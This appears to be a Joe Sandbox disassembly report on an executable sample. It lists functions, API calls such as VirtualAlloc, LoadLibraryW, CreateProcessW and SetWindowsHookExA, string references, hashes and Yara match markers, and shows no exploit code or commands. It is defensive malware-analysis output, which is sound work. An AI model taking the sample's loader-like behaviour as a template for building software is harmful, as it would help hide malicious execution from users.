Instruction ID: d53893d64f301f81dbc8427f9fdaad2d4ab3494493649292dd798a4fb55a8586
Opcode Fuzzy Hash: 74aeeec8adc3b2dc327feabe0ad49e3c2ce6a6fd602748faf8848a543ad8ebec
Instruction Fuzzy Hash: FB819172A183019FC318DFE5A49863BB6E6ABC4748F004D2DF556D7258EB70D9488B93

Function 0042A134 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104,?,?), ref: 0042A175
PathFindExtensionA.KERNELBASE(?), ref: 0042A18F
lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0042A229
lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0042A256

Strings

.HLP, xrefs: 0042A221
.CHM, xrefs: 0042A21A
.INI, xrefs: 0042A24A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ExtensionFileFindModuleNamePathlstrcatlstrcpy
String ID: .CHM$.HLP$.INI
API String ID: 2140653559-4017452060
Opcode ID: 1f62230ddda9a0eead22fd259ae79f4ed6fab4bf6a31e99d3694113894dfedf5
Instruction ID: bd75d3f52a36107bd73cc6bad142ef63f8b4208a48895ac81a5cbf6014c068f0
Opcode Fuzzy Hash: 1f62230ddda9a0eead22fd259ae79f4ed6fab4bf6a31e99d3694113894dfedf5
Instruction Fuzzy Hash: 19418C71600758DFCB30EFAAEC44ADA77E8EB08314F50482BE986D6241DB389955CF29

Function 0042A282 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000000,00000000,00425BE7,?,?,?,?,76230A60,00000000,?,0040E996,00000000), ref: 0042A28B
SetErrorMode.KERNELBASE(00000000,?,0040E996,00000000), ref: 0042A293
GetModuleHandleA.KERNEL32(user32.dll,0040E996,00000000), ref: 0042A2DE
GetProcAddress.KERNEL32(00000000,NotifyWinEvent), ref: 0042A2EE

Part of subcall function 0042A134: GetModuleFileNameA.KERNEL32(?,?,00000104,?,?), ref: 0042A175
Part of subcall function 0042A134: PathFindExtensionA.KERNELBASE(?), ref: 0042A18F
Part of subcall function 0042A134: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0042A229
Part of subcall function 0042A134: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0042A256

Strings

user32.dll, xrefs: 0042A2D9
NotifyWinEvent, xrefs: 0042A2E8
`#vp,$v, xrefs: 0042A2DE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ErrorModeModule$AddressExtensionFileFindHandleNamePathProclstrcatlstrcpy
String ID: NotifyWinEvent$`#vp,$v$user32.dll
API String ID: 4004864024-19817718
Opcode ID: 458393a66d8bd0e2f0924bc2239fc2bb7060a4c2f2eaa8a22abf50ff16afb230
Instruction ID: 1aae1a9dc3cd045b93222ce5a26779434126d71d87e6cd8d5dbcd172a642732a
Opcode Fuzzy Hash: 458393a66d8bd0e2f0924bc2239fc2bb7060a4c2f2eaa8a22abf50ff16afb230
Instruction Fuzzy Hash: 9701A2717002219FD724EF21A809A593BA8AF04300F4984AFF445D73A2DB38C880CF7A

Function 004254C2 Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 004254CF
GetSystemMetrics.USER32(0000000C), ref: 004254D6
GetSystemMetrics.USER32(00000002), ref: 004254DD
GetSystemMetrics.USER32(00000003), ref: 004254E7
GetDC.USER32(00000000), ref: 004254F1
GetDeviceCaps.GDI32(00000000,00000058), ref: 00425502
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0042550A
ReleaseDC.USER32(00000000,00000000), ref: 00425512

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: MetricsSystem$CapsDevice$CallbackDispatcherReleaseUser
String ID:
API String ID: 1031845853-0
Opcode ID: b06320392e429a04cf71825453b5b9399e0fdba567c3017782f8956d99a1d2f7
Instruction ID: 6a1c861a32fe4ac7800512cecdb92344e909a3b8a9975da52ba67c4561c5568e
Opcode Fuzzy Hash: b06320392e429a04cf71825453b5b9399e0fdba567c3017782f8956d99a1d2f7
Instruction Fuzzy Hash: A6F01D71A40704AEE720AF729C89F277BA4EB81B51F11493AF6418B2D0D6B598068F54

Function 022630D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 150
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000228), ref: 02263182

Strings

&, xrefs: 0226328D
S=, xrefs: 02263226
B, xrefs: 02263262

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &$B$S=
API String ID: 1279760036-3580750612
Opcode ID: c176824edb98fbd5e41360c12f106041cc9bf0535de45a03b62b05812e7c86b1
Instruction ID: 8231352bf0b12ad33a82a38a067525dafc8c8b0f772f9d61ba66f344beea1211
Opcode Fuzzy Hash: c176824edb98fbd5e41360c12f106041cc9bf0535de45a03b62b05812e7c86b1
Instruction Fuzzy Hash: 7C51D473B183029BC718DEE4949C53AB7E6FBD4A44F14489EE045CB258DBB0D9898BD2

Function 02264BA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02264C21

Strings

.#v, xrefs: 02264C63, 02264C6E, 02264C8D
D, xrefs: 02264BE0
Ei, xrefs: 02264BB2

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$.#v$Ei
API String ID: 963392458-2687700827
Opcode ID: d3c61979f1b613f964d13664390a4fdd1be7395942c843eaed0d696bd761c979
Instruction ID: bba6bad19ddb47d038aacaf14ef77005df471ce0ac79f0d5c0276b4fdd660a36
Opcode Fuzzy Hash: d3c61979f1b613f964d13664390a4fdd1be7395942c843eaed0d696bd761c979
Instruction Fuzzy Hash: B321B637B113026BD714EBF4AC58B7A37A3AFC0640F104819F585C7284EFB0D8458791

Function 004281D2 Relevance: 6.1, APIs: 4, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,0043B2A4,00000000,00000001,?), ref: 00428215
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,00000004), ref: 00428235
RegCloseKey.ADVAPI32(?), ref: 00428279
RegCloseKey.ADVAPI32(00000000), ref: 0042828F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Close$OpenQueryValue
String ID:
API String ID: 1607946009-0
Opcode ID: 65fa2c3f979de50099cc2811b2363345d5be31521dc93f030b08f37819c87299
Instruction ID: fa71898e03329bcf94aa1d3a20f1a241a73731d4e52d53b435c0548dfa0eec47
Opcode Fuzzy Hash: 65fa2c3f979de50099cc2811b2363345d5be31521dc93f030b08f37819c87299
Instruction Fuzzy Hash: 9E216AB1E01228EFDF15CF96D848AAEBBF8FF94314F5040AEE405A6211DB745A01CF29

Function 021C002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,021C0005), ref: 021C00E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,021C0005), ref: 021C0111

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 10b205524862d1537b6e42184a6caad32ee4480a3d896e070fb0f1779713c314
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: E7D1D179A88306CFD714CF69C88076AB3E1FFA8318F29452DE8958B341E774E855CB91

Function 022636B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 02263777

Strings

Ei, xrefs: 022636CF

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: Ei
API String ID: 4033686569-3988083245
Opcode ID: 4477d947eb3242f3d060ac2965775bc7e64820b2fa5a836bb1eebe5f731d0b45
Instruction ID: 1983b8e0d0d96037170a2385f9700fa33540784ddc0bee1066fe46c5828397c6
Opcode Fuzzy Hash: 4477d947eb3242f3d060ac2965775bc7e64820b2fa5a836bb1eebe5f731d0b45
Instruction Fuzzy Hash: FB118277F513016BD714F7F5A8ACA7B3197ABC4A44B0448ACE416CB248EE74C8518BE1

Function 0040DDBD Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040DDDF

Part of subcall function 004108E8: EnterCriticalSection.KERNEL32(?,?,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00410910

RtlAllocateHeap.NTDLL(00000000,?,00431A20,0000000C,0040DE48,000000E0,0040DE73,?,0041086B,00000018,00431B30,00000008,00410901,?,?), ref: 0040DE20

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AllocateCriticalEnterHeapSection__lock
String ID:
API String ID: 409319249-0
Opcode ID: 0be4bc3f3b2008a58ca10510bab6c21abc707aaf6d34d0de6824ed3c22b2e4db
Instruction ID: cb3ef9c9b0d75a7fffe9d60d5eea93ecefce8f5efa7861fcc474e081dc08dee6
Opcode Fuzzy Hash: 0be4bc3f3b2008a58ca10510bab6c21abc707aaf6d34d0de6824ed3c22b2e4db
Instruction Fuzzy Hash: 30F0C231D41A14A7DB20BFA1EC0675E7B30AB25728F20023BE9143A2E1C73C299986CC

Function 00410933 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040E8E0,00000001,?,00431A70,00000060), ref: 00410944

Part of subcall function 00410984: HeapAlloc.KERNEL32(00000000,00000140,0041096C,000003F8,?,00431A70,00000060), ref: 00410991

HeapDestroy.KERNEL32(?,00431A70,00000060), ref: 00410977

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: 0c262e1b3af968b4c6dfc27b1994cb5ebb7051e99d81131d6ad7a3e46444b815
Instruction ID: 644ccde18484a5878455bc069f2a0ce95f43452f64f7cc8ffed50bff23627854
Opcode Fuzzy Hash: 0c262e1b3af968b4c6dfc27b1994cb5ebb7051e99d81131d6ad7a3e46444b815
Instruction Fuzzy Hash: E7E09AF1BB03089AFB206B716C1876676A4EB44346F10483BF240C82A2EFB8D5C19A0C

Function 0041F835 Relevance: 3.0, APIs: 2, Instructions: 15threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041F848
SetWindowsHookExA.USER32(000000FF,0041F6B7,00000000,00000000), ref: 0041F858

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CurrentHookThreadWindows
String ID:
API String ID: 1904029216-0
Opcode ID: 701a3d6a2974d6ff03211ac8c2448b0ce0685527336f7c5a3be3efa98d3f99a2
Instruction ID: 92535d9c526e6fa1784d7b0884afd0ec4ee71ce80cfdde11631e7970a4356ca2
Opcode Fuzzy Hash: 701a3d6a2974d6ff03211ac8c2448b0ce0685527336f7c5a3be3efa98d3f99a2
Instruction Fuzzy Hash: 32D05E72B042606EDB217B72BC09B553A845B00320F9806AAF411911D2C7288C834B6E

Function 02265CA0 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 02265CCB

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d3fab1d135a5a4648cf58a609ccfeed82b988a241aecbaa36631449b31c14e0e
Instruction ID: b03b40f21b5c3f8296bc5cf91cd02c77bfd1f1ba3d9d7d54db3281bd4f28f296
Opcode Fuzzy Hash: d3fab1d135a5a4648cf58a609ccfeed82b988a241aecbaa36631449b31c14e0e
Instruction Fuzzy Hash: 3DD0C927B62301A6E600AAF078ADB3A35575FA0A44F009819E5159A28CEE6088624AD1

Function 0041CDD7 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041CDDC

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e2d040b58d2e732b0d0dcea39a807528dcdbe6e0a658436ef4808abc9a245d1d
Instruction ID: 86b6000765a73317fef6ebdd1d3f7835681af8542c8e3a940374cd9bb61a5516
Opcode Fuzzy Hash: e2d040b58d2e732b0d0dcea39a807528dcdbe6e0a658436ef4808abc9a245d1d
Instruction Fuzzy Hash: 145173319402049FCB14DBA9CCC09EEB7F9EF49324F24452BE512E76D0D778A985CBA9

Function 021F1D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 296c11db14dd46904e722935a9da397ec8c57e6725c6a21711c9545b8e4c59d2
Instruction ID: e4c131b897a3fcead199d08bcb87b66aa7ad4c3052855cee646d444ddd4de67e
Opcode Fuzzy Hash: 296c11db14dd46904e722935a9da397ec8c57e6725c6a21711c9545b8e4c59d2
Instruction Fuzzy Hash: 2A410975A40109EFDB48CF44C494BAAB7B2FF88314F24C199E9295F355D772EA82CB80

Function 02266FB0 Relevance: 1.6, APIs: 1, Instructions: 107libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,2564BE4F,022668DC), ref: 022670F2

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c3057499af352d91fb1a3178de4aae296ca75a1cefb17f38448a5921e24e51ae
Instruction ID: ea4ceabd6f315ec7c1d00b63b9c8f07c686c5cd70eb32c3706c9ef83251cc1b0
Opcode Fuzzy Hash: c3057499af352d91fb1a3178de4aae296ca75a1cefb17f38448a5921e24e51ae
Instruction Fuzzy Hash: 4331C8377342025F9924A6E9749C33BA15BD784648F64485AF003CB34CDEA9CCC14BE3

Function 02266F10 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,2564BE4F,0226704F,022668DC), ref: 02266F40

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 22117a57f2c37ddb0e1c410c05554810ba8f25f45c700d5a6f405df4d21d9df6
Instruction ID: 0c009e082aba6111fe3fae39d56b6cec76ca04d6b9ed3612864f7bdba00cbef6
Opcode Fuzzy Hash: 22117a57f2c37ddb0e1c410c05554810ba8f25f45c700d5a6f405df4d21d9df6
Instruction Fuzzy Hash: 49014477B11201AF9754FBF5B49C63B269B5BC0654B044CA9F005C7348EE749C514BE1

Function 00429CA6 Relevance: 1.5, APIs: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00429CAB

Part of subcall function 004299F1: TlsAlloc.KERNEL32(?,00429CD5,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60,00000000,?,0040E996,00000000), ref: 00429A13

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AllocH_prolog
String ID:
API String ID: 3910492588-0
Opcode ID: 391db097ecbc7f2e887088de165df358eb552572bb53b512a5a088e6feeae371
Instruction ID: e3d1adaf2064881ac0a353d79633cd097c0c2aad4d25d7745887e64319261521
Opcode Fuzzy Hash: 391db097ecbc7f2e887088de165df358eb552572bb53b512a5a088e6feeae371
Instruction Fuzzy Hash: F4016D35B20112DBDB29AF66F81166E77A2EBD6325F50453FE582D3390DB788C04CB98

Function 021F27B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 021F27D9

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9c44a7ce0103fbbf5f64b070ec749cd0cf775249d9d4a793d843660978a222af
Instruction ID: e9333b6b1f0cb577e31a058f55fc8892b6440b0cafaad97ce58ae9a5fd8b56e1
Opcode Fuzzy Hash: 9c44a7ce0103fbbf5f64b070ec749cd0cf775249d9d4a793d843660978a222af
Instruction Fuzzy Hash: 6BD09EB4D80208FFD780EFA4E946B9DBBB4EB04702F108165EA29A7644E7715A148F56

Function 021F1820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 021F182F

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5c273d823698085263809707435d3a4d18e0bdafb60f529b1abdf4c867f6cda8
Instruction ID: 261ca9a0cdc670f9cb6e16334f73c335e60a03c1f083cf9c3855c0dd7ea435e4
Opcode Fuzzy Hash: 5c273d823698085263809707435d3a4d18e0bdafb60f529b1abdf4c867f6cda8
Instruction Fuzzy Hash: 29C04CBA55424CAB8B44DF98E884DAB77EDBB8C610B048549BA2D87604C630F9508BA4

Non-executed Functions

Function 00424A99 Relevance: 15.1, APIs: 10, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00424A9E
GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?,?), ref: 00424AC8
lstrcpynA.KERNEL32(?,?,00000104,?,?,?), ref: 00424AD9

Part of subcall function 00424A57: lstrcpynA.KERNEL32(00000000,?,00000104,?,?,?), ref: 00424A7C
Part of subcall function 00424A57: PathStripToRootA.SHLWAPI(00000000,?,?,?), ref: 00424A83

PathIsUNCA.SHLWAPI(?,?,?,?,?,?), ref: 00424B0E
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 00424B32
CharUpperA.USER32(?,?,?,?), ref: 00424B4A
